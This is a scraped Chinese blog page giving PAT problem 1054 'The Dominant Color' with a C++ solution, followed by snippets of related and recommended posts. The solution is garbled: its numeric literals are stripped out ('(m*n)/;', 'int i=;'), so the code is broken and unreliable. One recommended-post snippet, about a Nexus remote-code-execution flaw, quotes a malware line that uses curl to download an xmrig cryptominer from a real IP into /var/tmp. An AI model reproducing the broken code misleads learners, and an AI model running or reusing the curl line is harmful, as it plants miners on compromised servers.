1054 The Dominant Color (20 分)
 

Behind the scenes in the computer's memory, color is always talked about as a series of 24 bits of information for each pixel. In an image, the color with the largest proportional area is called the dominant color. A strictly dominant color takes more than half of the total area. Now given an image of resolution Mby N (for example, 8), you are supposed to point out the strictly dominant color.

Input Specification:

Each input file contains one test case. For each case, the first line contains 2 positive numbers: M (≤) and N (≤) which are the resolutions of the image. Then N lines follow, each contains M digital colors in the range [0). It is guaranteed that the strictly dominant color exists for each input image. All the numbers in a line are separated by a space.

Output Specification:

For each test case, simply print the dominant color in a line.

Sample Input:

5 3
0 0 255 16777215 24
24 24 0 0 24
24 0 24 24 24

Sample Output:

24

#include<bits/stdc++.h>
using namespace std;
typedef long long ll;
#define MAXN 10005
map<string,int> mp; int main(){
int n,m;cin >> n;cin >> m;
int num = (m*n)/;
for(int i=;i < n;i++){
for(int j=;j < m;j++){
string x;cin >> x;
mp[x]++;
}
}
int cnt = ;
for(auto it=mp.begin();it!=mp.end();it++){
if(it->second >= num){
if(cnt != ) cout << " ";
cout << it->first;
cnt++;
}
} return ;
}

auto 真好用

PAT 1054 The Dominant Color的更多相关文章

  1. PAT 1054 The Dominant Color[简单][运行超时的问题]

    1054 The Dominant Color (20)(20 分) Behind the scenes in the computer's memory, color is always talke ...

  2. pat 1054 The Dominant Color(20 分)

    1054 The Dominant Color(20 分) Behind the scenes in the computer's memory, color is always talked abo ...

  3. PAT 甲级 1054 The Dominant Color (20 分)

    1054 The Dominant Color (20 分) Behind the scenes in the computer's memory, color is always talked ab ...

  4. PAT 甲级 1054 The Dominant Color (20 分)(简单题)

    1054 The Dominant Color (20 分)   Behind the scenes in the computer's memory, color is always talked ...

  5. PAT 甲级 1054 The Dominant Color

    https://pintia.cn/problem-sets/994805342720868352/problems/994805422639136768 Behind the scenes in t ...

  6. PAT (Advanced Level) Practice 1054 The Dominant Color (20 分)

    Behind the scenes in the computer's memory, color is always talked about as a series of 24 bits of i ...

  7. 1054. The Dominant Color (20)

    时间限制 100 ms 内存限制 65536 kB 代码长度限制 16000 B 判题程序 Standard 作者 CHEN, Yue Behind the scenes in the compute ...

  8. 1054 The Dominant Color (20)(20 分)

    Behind the scenes in the computer's memory, color is always talked about as a series of 24 bits of i ...

  9. 1054 The Dominant Color (20分)(水)

    Behind the scenes in the computer's memory, color is always talked about as a series of 24 bits of i ...

随机推荐

  1. WebSocket 学习教程(二):Spring websocket实现消息推送

    =============================================== 环境介绍: Jdk 1.7 (1.6不支持) Tomcat7.0.52 (支持Websocket协议) ...

  2. Sonatype Nexus Repository Manager版本3.14.2访问控制缺失及远程代码执行漏洞

    发现被执行的程序在xmrig在 /var/tmp/目录下 ,脚本文件内容为以下: curl -o /var/tmp/xmrig http://202.144.193.159/xmrig;curl -o ...

  3. block,inline和inline-block概念和区别(转载)

    转自: http://www.cnblogs.com/KeithWang/p/3139517.html 总体概念 block和inline这两个概念是简略的说法,完整确切的说应该是 block-lev ...

  4. 正则表达式(re模块)

    s='hello world' print(s.find('llo')) #找到llo ret=s.replace('ll','xx') #用xx代替ll print(ret) print(s.spl ...

  5. 在 CentOS7 上安装 Zookeeper服务

    1.创建 /usr/local/services/zookeeper 文件夹: mkdir -p /usr/local/services/zookeeper 2.进入到 /usr/local/serv ...

  6. Django框架详细介绍---request对象

    几个重要的函数 1.HttpRequest.get_host() 根据从HTTP_X_FORWARDED_HOST(如果打开 USE_X_FORWARDED_HOST,默认为False和 HTTP_H ...

  7. 解决CUDA driver version is insufficient for CUDA runtime version

    问题 在服务器上安装mxne的GPU版本 sudo pip install mxnet-cu80==1.2.1 然后在gpu上创建数据 import mxnet as mx mx.nd.array([ ...

  8. mybatis源码解析12---ResultSetHandler解析

    说完了StatementHandler和ParameterHandler,接下来就需要对查询的结果进行处理了,而对于sql结果的处理是由ResultSetHandler处理的,ResultHandle ...

  9. Docker Macvlan 介绍 or 工作原理

    Docker Macvlan Network Macvlan Network:属于Docker的网络驱动. Macvlan Network:Docker主机网卡接口逻辑上分为多个子接口,每个子接口标识 ...

  10. Python RabbitMQ消息持久化

    RabbitMQ消息持久化:就是将队列中的消息永久的存放在队列中.   处理方案: # 在实例化时加入durable=True来确认消息的实例化,客户端服务端都要写 channel.queue_dec ...